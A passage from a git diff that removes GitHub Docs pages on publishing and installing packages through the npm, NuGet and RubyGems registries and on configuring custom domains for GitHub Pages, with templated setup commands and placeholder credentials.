variables.product.prodname_registry %} only supports scoped npm packages. Scoped packages have names with the format of `@NAMESPACE/PACKAGE-NAME`. Scoped packages always begin with an `@` symbol. You may need to update the name in your `package.json` to use the scoped name. For example, if you're the user `octocat` and your package is named `test`, you would assign the scoped package name as follows: `"name": "@octocat/test"`. - -{% data reusables.package_registry.viewing-packages %} - -### Publishing a package using a local `.npmrc` file - -You can use an `.npmrc` file to configure the scope mapping for your project. In the `.npmrc` file, use the {% data variables.product.prodname_registry %} URL and account owner so {% data variables.product.prodname_registry %} knows where to route package requests. Using an `.npmrc` file prevents other developers from accidentally publishing the package to npmjs.org instead of {% data variables.product.prodname_registry %}. - -{% data reusables.package_registry.authenticate-step %} -{% data reusables.package_registry.create-npmrc-owner-step %} -{% data reusables.package_registry.add-npmrc-to-repo-step %} -1. Verify the name of your package in your project's `package.json`. The `name` field must contain the scope and the name of the package. For example, if your package is called "test", and you are publishing it to the "My-org" {% data variables.product.prodname_dotcom %} organization, the `name` field in your `package.json` should be `@my-org/test`. -{% data reusables.package_registry.verify_repository_field %} -{% data reusables.package_registry.publish_package %} - -### Publishing a package using `publishConfig` in the `package.json` file - -You can use `publishConfig` element in the `package.json` file to specify the registry where you want the package published. For more information, see [publishConfig](https://docs.npmjs.com/files/package.json#publishconfig) in the npm documentation. - -1. Edit the `package.json` file for your package and include a `publishConfig` entry. - {% ifversion ghes %} - If your instance has subdomain isolation enabled: - {% endif %} - - ```shell - "publishConfig": { - "registry": "https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm. HOSTNAME/{% endif %}" - }, - ``` - - {% ifversion ghes %} - If your instance has subdomain isolation disabled: - - ```shell - "publishConfig": { - "registry": "https://HOSTNAME/_registry/npm/" - }, - ``` - - {% endif %} -{% data reusables.package_registry.verify_repository_field %} -{% data reusables.package_registry.publish_package %} - -## Publishing multiple packages to the same repository - -To publish multiple packages {% ifversion packages-npm-v2 %}and link them {% endif %}to the same repository, you can include the URL of the {% data variables.product.prodname_dotcom %} repository in the `repository` field of the `package.json` file for each package. For more information, see [Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file) and [Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules) in the npm documentation. - -To ensure the repository's URL is correct, replace `REPOSITORY` with the name of the repository containing the package you want to publish, and `OWNER` with the name of the personal account or organization on {% data variables.product.prodname_dotcom %} that owns the repository. - -{% data variables.product.prodname_registry %} will match the repository based on the URL{% ifversion packages-npm-v2 %}{% else %}, instead of based on the package name{% endif %}. - -```shell -"repository":"https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY", -``` - -## Installing a package - -You can install packages from {% data variables.product.prodname_registry %} by adding the packages as dependencies in the `package.json` file for your project. For more information on using a `package.json` in your project, see [Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json) in the npm documentation. - -By default, you can add packages from one organization. For more information, see [Installing packages from other organizations](#installing-packages-from-other-organizations). - -You also need to add the `.npmrc` file to your project so that all requests to install packages will go through {% data variables.product.prodname_registry %}. When you route all package requests through {% data variables.product.prodname_registry %}, you can use both scoped and unscoped packages from _npmjs.org_. For more information, see [npm-scope](https://docs.npmjs.com/misc/scope) in the npm documentation. - -{% data reusables.package_registry.authenticate-step %} -{% data reusables.package_registry.create-npmrc-owner-step %} -{% data reusables.package_registry.add-npmrc-to-repo-step %} -1. Configure `package.json` in your project to use the package you are installing. To add your package dependencies to the `package.json` file for {% data variables.product.prodname_registry %}, specify the full-scoped package name, such as `@my-org/server`. For packages from _npmjs.com_, specify the full name, such as `@babel/core` or `lodash`. Replace `ORGANIZATION_NAME/PACKAGE_NAME` with your package dependency. - - ```json - { - "name": "@my-org/server", - "version": "1.0.0", - "description": "Server app that uses the ORGANIZATION_NAME/PACKAGE_NAME package", - "main": "index.js", - "author": "", - "license": "MIT", - "dependencies": { - "ORGANIZATION_NAME/PACKAGE_NAME": "1.0.0" - } - } - ``` - -1. Install the package. - - ```shell - npm install - ``` - -### Installing packages from other organizations - -By default, you can only use {% data variables.product.prodname_registry %} packages from one organization. If you'd like to route package requests to multiple organizations and users, you can add additional lines to your `.npmrc` file, replacing {% ifversion ghes %}`HOSTNAME` with the host name of {% data variables.location.product_location %} and {% endif %}`NAMESPACE` with the name of the personal account or organization {% ifversion packages-npm-v2 %}to which the package is scoped{% else %}that owns the repository containing the project{% endif %}. - -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} - -```shell -@NAMESPACE:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %} -@NAMESPACE:registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME{% endif %} -``` - -{% ifversion ghes %} -If your instance has subdomain isolation disabled: - -```shell -@NAMESPACE:registry=https://HOSTNAME/_registry/npm -@NAMESPACE:registry=https://HOSTNAME/_registry/npm -``` - -{% endif %} - -{% ifversion ghes %} - -## Using the official npm registry - -{% data variables.product.prodname_registry %} allows you to access the official npm registry at `registry.npmjs.com`, if your {% data variables.product.prodname_ghe_server %} administrator has enabled this feature. For more information, see [Connecting to the official npm registry](/admin/packages/configuring-package-ecosystem-support-for-your-enterprise#connecting-to-the-official-npm-registry). -{% endif %} diff --git a/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md deleted file mode 100644 index c6878960ce42..000000000000 --- a/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md +++ /dev/null @@ -1,301 +0,0 @@ ---- -title: Working with the NuGet registry -intro: 'You can configure the `dotnet` command-line interface (CLI) to publish NuGet packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a .NET project.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /articles/configuring-nuget-for-use-with-github-package-registry - - /github/managing-packages-with-github-package-registry/configuring-nuget-for-use-with-github-package-registry - - /github/managing-packages-with-github-packages/configuring-nuget-for-use-with-github-packages - - /github/managing-packages-with-github-packages/configuring-dotnet-cli-for-use-with-github-packages - - /packages/using-github-packages-with-your-projects-ecosystem/configuring-dotnet-cli-for-use-with-github-packages - - /packages/guides/configuring-dotnet-cli-for-use-with-github-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: NuGet registry ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -{% data reusables.package_registry.admins-can-configure-package-types %} - -{% ifversion ghec %} - -## URL for the NuGet registry - -If you access {% data variables.product.github %} at {% data variables.product.prodname_dotcom_the_website %}, you will publish packages to https://nuget.pkg.github.com. Examples in this article use this URL. - -If you access {% data variables.product.github %} at another domain, such as `octocorp.ghe.com`, replace "https://nuget.pkg.github.com" with `https://nuget.SUBDOMAIN.ghe.com`, where `SUBDOMAIN` is your enterprise's unique subdomain. - -{% endif %} - -## Authenticating to {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.authenticate-packages %} - -### Authenticating in a {% data variables.product.prodname_actions %} workflow - -{% ifversion packages-nuget-v2 %} -This registry supports granular permissions. {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} {% endif %} - -Use the following command to authenticate to {% data variables.product.prodname_registry %} in a {% data variables.product.prodname_actions %} workflow using the `GITHUB_TOKEN` instead of hardcoding a {% data variables.product.pat_generic %} in a nuget.config file in the repository: - -```shell -dotnet nuget add source --username USERNAME --password {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/NAMESPACE/index.json" -``` - -Replace `NAMESPACE` with the name of the personal account or organization {% ifversion packages-nuget-v2 %}to which your packages are scoped{% else %}that owns the repository where your packages are hosted{% endif %}. - -Replace `USERNAME` with the username to be used when connecting to an authenticated source. - -{% ifversion packages-nuget-v2 %}{% else %}{% data reusables.package_registry.authenticate-packages-github-token %}{% endif %} - -{% ifversion packages-nuget-v2 %} - -{% data reusables.package_registry.v2-actions-codespaces %} - -{% endif %} - -### Authenticating with a {% data variables.product.pat_generic %} - -{% data reusables.package_registry.authenticate-packages %} - -{% data reusables.package_registry.required-scopes %} - -To authenticate to {% data variables.product.prodname_registry %} with the `dotnet` command-line interface (CLI), create a _nuget.config_ file in your project directory specifying {% data variables.product.prodname_registry %} as a source under `packageSources` for the `dotnet` CLI client. - -You must replace: -* `USERNAME` with the name of your personal account on {% data variables.product.prodname_dotcom %}. -* `TOKEN` with your {% data variables.product.pat_v1 %}. -* `NAMESPACE` with the name of the personal account or organization {% ifversion packages-nuget-v2 %}to which your packages are scoped{% else %}that owns the repository where your packages are hosted{% endif %}.{% ifversion ghes %} -* `HOSTNAME` with the host name for {% data variables.location.product_location %}.{% endif %} - -{% ifversion ghes %}If your instance has subdomain isolation enabled: -{% endif %} - -```xml - - - - - - - - - - - - - -``` - -{% ifversion ghes %} -If your instance has subdomain isolation disabled: - -```xml - - - - - - - - - - - - - -``` - -{% endif %} - -## Publishing a package - -{% ifversion packages-nuget-v2 %} - -> [!NOTE] -> The `nupkg` archive for a NuGet package version must be smaller than 2.147 GB in size. - -{% endif %} - -You can publish a package to {% data variables.product.prodname_registry %} by authenticating with a _nuget.config_ file, using the `--api-key` command line option with your {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %} or by using command that can be run directly from the command line using the `dotnet` command-line interface (CLI). - -Replace `OWNER` with your username or company name, and `YOUR_GITHUB_PAT` with your {% data variables.product.pat_generic %}. - -```shell -dotnet nuget add source --username OWNER --password {% raw %}YOUR_GITHUB_PAT{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" -``` - -{% ifversion packages-nuget-v2 %} - -The NuGet registry stores packages within your organization or personal account, and allows you to associate packages with a repository. You can choose whether to inherit permissions from a repository, or set granular permissions independently of a repository. - -{% data reusables.package_registry.publishing-user-scoped-packages %} For more information on linking a published package with a repository, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package). - -If you specify a `RepositoryURL` in your project's _.csproj_ file, the published package will automatically be connected to the specified repository. For more information, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry#publishing-a-package-using-a-nugetconfig-file). For information on linking an already-published package to a repository, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package). - -{% endif %} - -### Publishing a package using a GitHub {% data variables.product.pat_generic %} as your API key - -If you don't already have a {% data variables.product.pat_generic %} to use for your account on {% data variables.product.github %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -1. Create a new project. Replace `PROJECT_NAME` with the name you'd like to give the project. - - ```shell - dotnet new console --name PROJECT_NAME - ``` - -1. Package the project. - - ```shell - dotnet pack --configuration Release - ``` - -1. Publish the package using your {% data variables.product.pat_generic %} as the API key. Replace `PROJECT_NAME` with the name of the project, `1.0.0` with the version number of the package, and `YOUR_GITHUB_PAT` with your {% data variables.product.pat_generic %}. - - ```shell - dotnet nuget push "bin/Release/PROJECT_NAME.1.0.0.nupkg" --api-key YOUR_GITHUB_PAT --source "github" - ``` - -{% data reusables.package_registry.viewing-packages %} - -### Publishing a package using a _nuget.config_ file - -When publishing, {% ifversion packages-nuget-v2 %}if you are linking your package to a repository, {% endif %}the `OWNER` of the repository specified in your _.csproj_ file must match the `NAMESPACE` that you use in your _nuget.config_ authentication file. Specify or increment the version number in your _.csproj_ file, then use the `dotnet pack` command to create a _.nuspec_ file for that version. For more information on creating your package, see [Create and publish a package](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli) in the Microsoft documentation. - -{% data reusables.package_registry.auto-inherit-permissions-note %} - -{% data reusables.package_registry.authenticate-step %} -1. Create a new project. Replace `PROJECT_NAME` with the name you'd like to give the project. - - ```shell - dotnet new console --name PROJECT_NAME - ``` - -1. Add your project's specific information to your project's file, which ends in _.csproj_. Make sure to replace: - - * `1.0.0` with the version number of the package. - * `OWNER` with the name of the personal account or organization that owns the repository to which you want to {% ifversion packages-nuget-v2 %}link your package{% else %}publish your package{% endif %}. - * `REPOSITORY` with the name of the repository to which you want to connect your package.{% ifversion ghes %} - * `HOSTNAME` with the host name for {% data variables.location.product_location %}.{% endif %} - - ``` xml - - - - Exe - netcoreapp3.0 - PROJECT_NAME - 1.0.0 - AUTHORS - COMPANY_NAME - PACKAGE_DESCRIPTION - https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY - - - - ``` - -1. Package the project. - - ```shell - dotnet pack --configuration Release - ``` - -1. Publish the package using the `key` you specified in the _nuget.config_ file. Replace `PROJECT_NAME` with the name of the project, and replace `1.0.0` with the version number of the package. - - ```shell - dotnet nuget push "bin/Release/PROJECT_NAME.1.0.0.nupkg" --source "github" - ``` - -{% data reusables.package_registry.viewing-packages %} - -## Publishing multiple packages to the same repository - -To connect multiple packages to the same repository, use the same {% data variables.product.prodname_dotcom %} repository URL in the `RepositoryURL` fields in all _.csproj_ project files. {% data variables.product.prodname_dotcom %} matches the repository based on that field. - -The following example publishes the projects MY_APP and MY_OTHER_APP to the same repository: - -``` xml - - - - Exe - netcoreapp3.0 - MY_APP - 1.0.0 - Octocat - GitHub - This package adds a singing Octocat! - https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/my-org/my-repo - - - -``` - -``` xml - - - - Exe - netcoreapp3.0 - MY_OTHER_APP - 1.0.0 - Octocat - GitHub - This package adds a dancing Octocat! - https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/my-org/my-repo - - - -``` - -## Installing a package - -Using packages from {% data variables.product.prodname_dotcom %} in your project is similar to using packages from _nuget.org_. Add your package dependencies to your _.csproj_ file, specifying the package name and version. For more information on using a _.csproj_ file in your project, see [Working with NuGet packages](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow) in the Microsoft documentation. - -{% data reusables.package_registry.authenticate-step %} - -1. To use a package, add `ItemGroup` and configure the `PackageReference` field in the _.csproj_ project file. Replace the `PACKAGE_NAME` value in `Include="PACKAGE_NAME"` with your package dependency, and replace the `X.X.X` value in `Version="X.X.X"` with the version of the package you want to use: - - ``` xml - - - - Exe - netcoreapp3.0 - My-app - 1.0.0 - Octocat - GitHub - This package adds an Octocat! - https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY - - - - - - - - ``` - -1. Install the packages with the `restore` command. - - ```shell - dotnet restore - ``` - -## Troubleshooting - -{% ifversion packages-nuget-v2 %}{% else %}Your NuGet package may fail to push if the `RepositoryUrl` in _.csproj_ is not set to the expected repository. - -If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes.{% endif %} - -If you're using a `GITHUB_TOKEN` to authenticate to a {% data variables.product.prodname_registry %} registry within a {% data variables.product.prodname_actions %} workflow, the token cannot access private repository-based packages in a different repository other than where the workflow is running in. To access packages associated with other repositories, instead generate a {% data variables.product.pat_v1 %} with the `read:packages` scope and pass this token in as a secret. - -## Further reading - -* [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) diff --git a/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md deleted file mode 100644 index 99addf844e3c..000000000000 --- a/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Working with the RubyGems registry -intro: 'You can configure RubyGems to publish a package to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Ruby project with Bundler.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /articles/configuring-rubygems-for-use-with-github-package-registry - - /github/managing-packages-with-github-package-registry/configuring-rubygems-for-use-with-github-package-registry - - /github/managing-packages-with-github-packages/configuring-rubygems-for-use-with-github-packages - - /packages/using-github-packages-with-your-projects-ecosystem/configuring-rubygems-for-use-with-github-packages - - /packages/guides/configuring-rubygems-for-use-with-github-packages -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: RubyGems registry ---- - -{% data reusables.package_registry.packages-ghes-release-stage %} - -{% data reusables.package_registry.admins-can-configure-package-types %} - -{% ifversion ghec %} - -## URL for the RubyGems registry - -If you access {% data variables.product.github %} at {% data variables.product.prodname_dotcom_the_website %}, you will publish packages to https://rubygems.pkg.github.com. Examples in this article use this URL. - -If you access {% data variables.product.github %} at another domain, such as `octocorp.ghe.com`, replace "https://rubygems.pkg.github.com" with `https://rubygems.SUBDOMAIN.ghe.com`, where `SUBDOMAIN` is your enterprise's unique subdomain. - -{% endif %} - -## Prerequisites - -* You must have RubyGems 2.4.1 or higher. To find your RubyGems version: - - ```shell - gem --version - ``` - -* You must have bundler 1.6.4 or higher. To find your Bundler version: - - ```shell - $ bundle --version - Bundler version 1.13.7 - ``` - -## Authenticating to {% data variables.product.prodname_registry %} - -{% data reusables.package_registry.authenticate-packages %} - -{% ifversion packages-rubygems-v2 %} - -### Authenticating in a {% data variables.product.prodname_actions %} workflow - -This registry supports granular permissions. {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} - -{% data reusables.package_registry.v2-actions-codespaces %} - -{% endif %} - -### Authenticating with a {% data variables.product.pat_generic %} - -{% data reusables.package_registry.required-scopes %} - -To publish and install gems, you can configure RubyGems or Bundler to authenticate to {% data variables.product.prodname_registry %} using your {% data variables.product.pat_generic %}. - -To publish new gems, you need to authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing your _~/.gem/credentials_ file to include your {% data variables.product.pat_v1 %}. Create a new _~/.gem/credentials_ file if this file doesn't exist. - -For example, you would create or edit a _~/.gem/credentials_ to include the following, replacing TOKEN with your {% data variables.product.pat_generic %}. - -```shell ---- -:github: Bearer TOKEN -``` - -To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by updating your gem sources to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY_URL{% endif %}/NAMESPACE/`. You must replace: -* `USERNAME` with your {% data variables.product.prodname_dotcom %} username. -* `TOKEN` with your {% data variables.product.pat_v1 %}. -* `NAMESPACE` with the name of the personal account or organization {% ifversion packages-rubygems-v2 %}to which the gem is scoped{% else %}that owns the repository containing the gem{% endif %}.{% ifversion ghes %} -* `REGISTRY_URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace HOSTNAME with the hostname of your {% data variables.product.prodname_ghe_server %} instance. -{% endif %} - -If you would like your package to be available globally, you can run the following command to add your registry as a source. - -```shell -gem sources --add https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY_URL{% endif %}/NAMESPACE/ -``` - -To authenticate with Bundler, configure Bundler to use your {% data variables.product.pat_v1 %}, replacing USERNAME with your {% data variables.product.prodname_dotcom %} username, TOKEN with your {% data variables.product.pat_generic %}, and NAMESPACE with the name of the personal account or organization {% ifversion packages-rubygems-v2 %}to which the gem is scoped{% else %}that owns the repository containing the gem{% endif %}.{% ifversion ghes %} Replace `REGISTRY_URL` with the URL for your instance's RubyGems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace HOSTNAME with the hostname of your {% data variables.product.prodname_ghe_server %} instance.{% endif %} - -```shell -bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY_URL{% endif %}/NAMESPACE USERNAME:TOKEN -``` - -## Publishing a package - -{% ifversion packages-rubygems-v2 %}{% data reusables.package_registry.publishing-user-scoped-packages %}{% else %}By default, GitHub publishes the package to an existing repository with the same name as the package. For example, when you publish `GEM_NAME` to the `octo-org` organization, GitHub Packages publishes the gem to the `octo-org/GEM_NAME` repository.{% endif %} For more information on creating your gem, see [Make your own gem](http://guides.rubygems.org/make-your-own-gem/) in the RubyGems documentation. - -{% data reusables.package_registry.auto-inherit-permissions-note %} - -{% data reusables.package_registry.authenticate-step %} - -1. Build the package from the _gemspec_ to create the _.gem_ package. Replace `GEM_NAME` with the name of your gem. - - ```shell - gem build GEM_NAME.gemspec - ``` - -1. Publish a package to {% data variables.product.prodname_registry %}, replacing `NAMESPACE` with the name of the personal account or organization {% ifversion packages-rubygems-v2 %}to which the package will be scoped{% else %}that owns the repository containing your project{% endif %} and `GEM_NAME` with the name of your gem package.{% ifversion ghes %} Replace `REGISTRY_URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace `HOSTNAME` with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% endif %} - - > [!NOTE] - > The maximum uncompressed size of a gem's `metadata.gz` file must be less than {% data variables.package_registry.limit_rubygems_max_metadata_size %}. Requests to push gems that exceed that limit will fail. - - ```shell - $ gem push --key github \ - --host https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY_URL{% endif %}/NAMESPACE \ - GEM_NAME-0.0.1.gem - ``` - -{% ifversion packages-rubygems-v2 %} - -## Connecting a package to a repository - -The RubyGems registry stores packages within your organization or personal account, and allows you to associate packages with a repository. You can choose whether to inherit permissions from a repository, or set granular permissions independently of a repository. - -You can ensure gems will be linked to a repository as soon as they are published by including the URL of the {% data variables.product.prodname_dotcom %} repository in the `github_repo` field in `gem.metadata`. You can link multiple gems to the same repository. {% ifversion ghes %} In the following example, replace HOSTNAME with the host name of {% data variables.location.product_location %}.{% endif %} - -```ruby -gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY" } -``` - -For information on linking a published package with a repository, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package). - -{% else %} - -## Publishing multiple packages to the same repository - -To publish multiple gems to the same repository, you can include the URL to the {% data variables.product.prodname_dotcom %} repository in the `github_repo` field in `gem.metadata`. If you include this field, {% data variables.product.prodname_dotcom %} matches the repository based on this value, instead of using the gem name.{% ifversion ghes %} Replace HOSTNAME with the host name of {% data variables.location.product_location %}.{% endif %} - -```ruby -gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY" } -``` - -{% endif %} - -## Installing a package - -You can use gems from {% data variables.product.prodname_registry %} much like you use gems from _rubygems.org_. You need to authenticate to {% data variables.product.prodname_registry %} by adding your {% data variables.product.prodname_dotcom %} user or organization as a source in the _~/.gemrc_ file or by using Bundler and editing your _Gemfile_. - -{% data reusables.package_registry.authenticate-step %} -1. For Bundler, add your {% data variables.product.prodname_dotcom %} user or organization as a source in your _Gemfile_ to fetch gems from this new source. For example, you can add a new `source` block to your _Gemfile_ that uses {% data variables.product.prodname_registry %} only for the packages you specify, replacing `GEM_NAME` with the package you want to install from {% data variables.product.prodname_registry %} and `NAMESPACE` with the personal account or organization {% ifversion packages-rubygems-v2 %}to which the gem you want to install is scoped{% else %}that owns the repository containing the gem you want to install{% endif %}.{% ifversion ghes %} Replace `REGISTRY_URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace `HOSTNAME` with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% endif %} - - ```ruby - source "https://rubygems.org" - - gem "rails" - - source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY_URL{% endif %}/NAMESPACE" do - gem "GEM_NAME" - end - ``` - -1. For Bundler versions earlier than 1.7.0, you need to add a new global `source`. For more information on using Bundler, see the [bundler.io documentation](https://bundler.io/gemfile.html). - - ```ruby - source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY_URL{% endif %}/NAMESPACE" - source "https://rubygems.org" - - gem "rails" - gem "GEM_NAME" - ``` - -1. Install the package: - - ```shell - gem install GEM_NAME --version "0.1.1" - ``` - -## Further reading - -* [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) diff --git a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md b/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md deleted file mode 100644 index aa9d7e4fb4f9..000000000000 --- a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: About custom domains and GitHub Pages -intro: '{% data variables.product.prodname_pages %} supports using custom domains, or changing the root of your site''s URL from the default, like `octocat.github.io`, to any domain you own.' -redirect_from: - - /articles/about-custom-domains-for-github-pages-sites - - /articles/about-supported-custom-domains - - /articles/custom-domain-redirects-for-your-github-pages-site - - /articles/about-custom-domains-and-github-pages - - /github/working-with-github-pages/about-custom-domains-and-github-pages -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghec: '*' -topics: - - Pages -shortTitle: Custom domains in GitHub Pages ---- - -## Supported custom domains - -{% data reusables.pages.custom-domain-warning %} - -{% data variables.product.prodname_pages %} works with two types of domains: subdomains and apex domains. For a list of unsupported custom domains, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages#custom-domain-names-that-are-unsupported). - -| Supported custom domain type | Example | -|---|---| -| `www` subdomain | `www.example.com` | -| Custom subdomain | `blog.example.com` | -| Apex domain | `example.com` | - -You can set up either or both of apex and `www` subdomain configurations for your site. For more information on apex domains, see [Using an apex domain for your {% data variables.product.prodname_pages %} site](#using-an-apex-domain-for-your-github-pages-site). - -We recommend always using a `www` subdomain, even if you also use an apex domain. When you create a new site with an apex domain, we automatically attempt to secure the `www` subdomain for use when serving your site's content, but you need to make the DNS changes to use the `www` subdomain. If you configure a `www` subdomain, we automatically attempt to secure the associated apex domain. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site). - -## Using a custom domain across multiple repositories - -If you set a custom domain for a user or organization site, by default, the same custom domain will be used for all project sites owned by the same account. For more information about site types, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites). - -For example, if the custom domain for your user site is `www.octocat.com`, and you have a project site with no custom domain configured that is published from a repository called `octo-project`, the {% data variables.product.prodname_pages %} site for that repository will be available at `www.octocat.com/octo-project`. - -You can override the default custom domain by adding a custom domain to the individual repository. - -> [!NOTE] -> The URLs for project sites that are privately published are not affected by the custom domain for your user or organization site. For more information about privately published sites, see [AUTOTITLE](/enterprise-cloud@latest/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site){% ifversion not ghec %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -To remove the default custom domain, you must remove the custom domain from your user or organization site. - -## Using a subdomain for your {% data variables.product.prodname_pages %} site - -A subdomain is the part of a URL before the root domain. You can configure your subdomain as `www` or as a distinct section of your site, like `blog.example.com`. - -Subdomains are configured with a `CNAME` record through your DNS provider. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain). - -### `www` subdomains - -A `www` subdomain is the most commonly used type of subdomain. For example, `www.example.com` includes a `www` subdomain. - -`www` subdomains are the most stable type of custom domain because `www` subdomains are not affected by changes to the IP addresses of {% data variables.product.github %}'s servers. - -### Custom subdomains - -A custom subdomain is a type of subdomain that doesn't use the standard `www` variant. Custom subdomains are mostly used when you want two distinct sections of your site. For example, you can create a site called `blog.example.com` and customize that section independently from `www.example.com`. - -## Using an apex domain for your {% data variables.product.prodname_pages %} site - -An apex domain is a custom domain that does not contain a subdomain, such as `example.com`. Apex domains are also known as base, bare, naked, root apex, or zone apex domains. - -An apex domain is configured with an `A`, `ALIAS`, or `ANAME` record through your DNS provider. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain). - -{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain). - -## Securing the custom domain for your {% data variables.product.prodname_pages %} site - -{% data reusables.pages.secure-your-domain %} For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages) and [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site). - -There are a couple of reasons your site might be automatically disabled. - -* If you downgrade from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, any {% data variables.product.prodname_pages %} sites that are currently published from private repositories in your account will be unpublished. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan). -* If you transfer a private repository to a personal account that is using {% data variables.product.prodname_free_user %}, the repository will lose access to the {% data variables.product.prodname_pages %} feature, and the currently published {% data variables.product.prodname_pages %} site will be unpublished. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/transferring-a-repository). - -## Further reading - -* [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages) diff --git a/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md 